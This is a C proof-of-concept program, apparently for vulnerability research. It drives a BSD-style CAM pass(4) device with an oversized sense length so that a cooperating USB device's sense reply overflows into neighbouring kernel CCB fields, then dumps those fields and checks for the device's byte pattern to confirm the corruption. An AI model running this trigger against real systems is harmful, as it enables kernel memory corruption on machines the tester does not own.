/*
 * passexp.c - DF-5297 trigger: XPT_SCSI_IO (TEST UNIT READY) through pass(4)
 * with csio.sense_len = 255 (larger than the 32-byte csio.sense_data).
 * The umass driver will DMA the device's REQUEST SENSE response (as long as
 * the device sends, up to sense_len bytes) into &csio.sense_data inside the
 * kernel CCB.  After completion, pass(4) bcopy()s the whole kernel CCB back
 * to us, so any device bytes that landed past sense_data[31] show up in the
 * following fields (cdb_io, msg_ptr, ...).
 *
 * usage: passexp /dev/passN [sense_len]
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/scsi/scsi_pass.h>

static void
hd(const char *tag, const uint8_t *p, int n)
{
    int i;
    printf("%s [%p..%p]:\n", tag, (const void *)p, (const void *)(p + n));
    for (i = 0; i < n; i++) {
        if ((i & 15) == 0) printf("  +%04x: ", i);
        printf("%02x ", p[i]);
        if ((i & 15) == 15) printf("\n");
    }
    if (n & 15) printf("\n");
}

int
main(int argc, char **argv)
{
    if (argc < 2) { fprintf(stderr, "usage: %s /dev/passN [sense_len]\n",
        argv[0]); return 2; }
    int sl = argc > 2 ? atoi(argv[2]) : 255;

    int fd = open(argv[1], O_RDWR);
    if (fd < 0) { perror("open"); return 2; }

    union ccb ccb;
    static uint8_t databuf[512];
    memset(&ccb, 0, sizeof(ccb));
    ccb.ccb_h.func_code = XPT_SCSI_IO;
    ccb.ccb_h.flags = CAM_DIR_IN | CAM_DEV_QFRZDIS;
    ccb.ccb_h.timeout = 8000;
    ccb.csio.cdb_len = 10;
    /* READ(10) of the evil LBA 0x5297 - the device CHECK CONDITIONs it */
    ccb.csio.cdb_io.cdb_bytes[0] = 0x28;          /* READ_10 */
    ccb.csio.cdb_io.cdb_bytes[2] = 0x00;          /* lba = 0x00005297 */
    ccb.csio.cdb_io.cdb_bytes[3] = 0x00;
    ccb.csio.cdb_io.cdb_bytes[4] = 0x52;
    ccb.csio.cdb_io.cdb_bytes[5] = 0x97;
    ccb.csio.cdb_io.cdb_bytes[7] = 0x00;          /* 1 block */
    ccb.csio.cdb_io.cdb_bytes[8] = 0x01;
    ccb.csio.dxfer_len = 512;
    ccb.csio.data_ptr = databuf;
    ccb.csio.sense_len = (u_int8_t)sl;

    printf("sizeof(union ccb)=%zu sizeof(sense_data)=%zu "
        "offsetof(cdb_io)=%zd\n", sizeof(union ccb),
        sizeof(ccb.csio.sense_data),
        (char *)&ccb.csio.cdb_io - (char *)&ccb.csio.sense_data);
    printf("issuing READ(10) lba=0x5297 with sense_len=%d ...\n", sl);

    if (ioctl(fd, CAMIOCOMMAND, &ccb) < 0) { perror("CAMIOCOMMAND"); }

    printf("ccb_h.status=0x%08x scsi_status=0x%02x sense_resid=%d resid=%u\n",
        ccb.ccb_h.status, ccb.csio.scsi_status, ccb.csio.sense_resid,
        ccb.csio.resid);

    hd("sense_data[0..31]", (uint8_t *)&ccb.csio.sense_data, 32);
    hd("AFTER sense_data: cdb_io..init_id",
        (uint8_t *)&ccb.csio.cdb_io,
        (int)((char *)&ccb.csio.init_id + sizeof(ccb.csio.init_id)
        - (char *)&ccb.csio.cdb_io));

    /*
     * Detection: the device's rolling pattern (0x40 + (i & 0x3f)) fills its
     * whole 255-byte "sense" reply.  Bytes with index >= 32 land past the
     * 32-byte csio.sense_data, overwriting the following ccb_scsiio fields.
     * cdb_io sits at sense_data + 44, so cdb_io[i] should equal the pattern
     * byte for sense index (44 + i) if the overflow happened.
     */
    int i, hit = 0;
    const uint8_t *p = (uint8_t *)&ccb.csio.cdb_io;
    for (i = 0; i < 48; i++) {
        int expect = 0x40 + ((44 + i) & 0x3f);
        if (p[i] == expect) hit++;
    }
    printf("PATTERN_MATCH_AFTER_SENSE_DATA: %d/48 bytes -> %s\n", hit,
        hit >= 40 ? "OVERFLOW CONFIRMED (device bytes past sense_data[31], "
        "kernel-CCB intra-object corruption)"
        : "no overflow observed");
    return hit >= 40 ? 0 : 1;
}
